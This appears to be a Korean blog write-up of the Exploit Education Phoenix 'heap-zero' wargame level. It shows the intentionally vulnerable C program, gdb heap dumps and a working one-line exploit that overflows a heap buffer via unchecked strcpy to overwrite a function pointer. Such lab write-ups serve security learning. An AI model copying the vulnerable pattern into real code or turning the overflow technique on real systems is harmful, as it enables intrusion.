[Phoenix] Heap zero

2022. 9. 30. 15:50·Wargame/Exploit Education
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/heap-zero, by https://exploit.education
 *
 * Can you hijack flow control, and execute the winner function?
 *
 * Why do C programmers make good Buddhists?
 * Because they're not object orientated.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("Congratulations, you have passed this level\n");
}

void nowinner() {
  printf(
      "level has not been passed - function pointer has not been "
      "overwritten\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("Please specify an argument to copy :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

 

2.2. 분석

data 및 fp 구조체 선언 후 해당 값 들을 heap 영역에 할당하며, 각각의 주소 포인터를 d와 f 변수에 넣는다.

이후 fp 구조체의 fp 값을 nowinner로 설정한다.

이후 data 구조체의 name에 argv[1]의 값을 복사하고, data, fp 구조체의 포인터 주소와 fp 구조체의 heap 영역 주소를 출력한 뒤 fp 구조체의 fp 값을 참조하여 함수를 실행한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

strcpy시 크기를 체크하지 않아 data 구조체의 name 변수 위치를 넘어 fp 구조체의 값을 덮어씌울 수 있다.

 

3.2. 공격 준비

우선 winner 주소 확인.

gef> p winner
$1 = {<text variable, no debug info>} 0x400abd <winner>

A를 64개 삽입 후 heap 영역을 보면 아래와 같다.

gef> x/40gx 0x00007ffff7ef6010
0x7ffff7ef6010: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6020: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6030: 0x4141414141414141      0x4141414141414141
0x7ffff7ef6040: 0x4141414141414141      0x4141414141414141
---------------------------- 여기까지 data 구조체
0x7ffff7ef6050: 0x0000000000000000      0x0000000000000051
0x7ffff7ef6060: 0x0000000000400ace      0x0000000000000000
0x7ffff7ef6070: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6080: 0x0000000000000000      0x0000000000000000
0x7ffff7ef6090: 0x0000000000000000      0x0000000000000000
0x7ffff7ef60a0: 0x0000000000000000      0x00000000000fff61
---------------------------- 여기까지 fp 구조체

그러므로 16ea의 데이터를 더 삽입하고 winner 주소를 삽입하면 이를 실행할 것이다.

 

4. exploit

user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero "`perl -e 'print "A"x80 , "\xbd\x0a\x40"'`"
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400abd
Congratulations, you have passed this level

 

 

 

 

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Heap two  (0) 2022.10.06
[Phoenix] Heap one  (0) 2022.10.04
[Phoenix] Format four  (0) 2022.09.30
[Phoenix] Format three  (0) 2022.09.30
[Phoenix] Format two  (0) 2022.09.29
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Heap two
  • [Phoenix] Heap one
  • [Phoenix] Format four
  • [Phoenix] Format three
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    cryptohack
    rop
    libc
    exploit education
    tcache
    la ctf
    pwntools
    ROOT ME
    phoenix
    docker
    hackerschool
    RTL
    vtable
    _IO_FILE
    lob
    x86
    root
    heap
    pwnable.kr
    32bit
    root-me
    Format String Bug
    CANARY
    x64
    FSB
    BOF
    64bit
    Me
    dreamhack
    Buffer Overflow
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[Phoenix] Heap zero
상단으로

티스토리툴바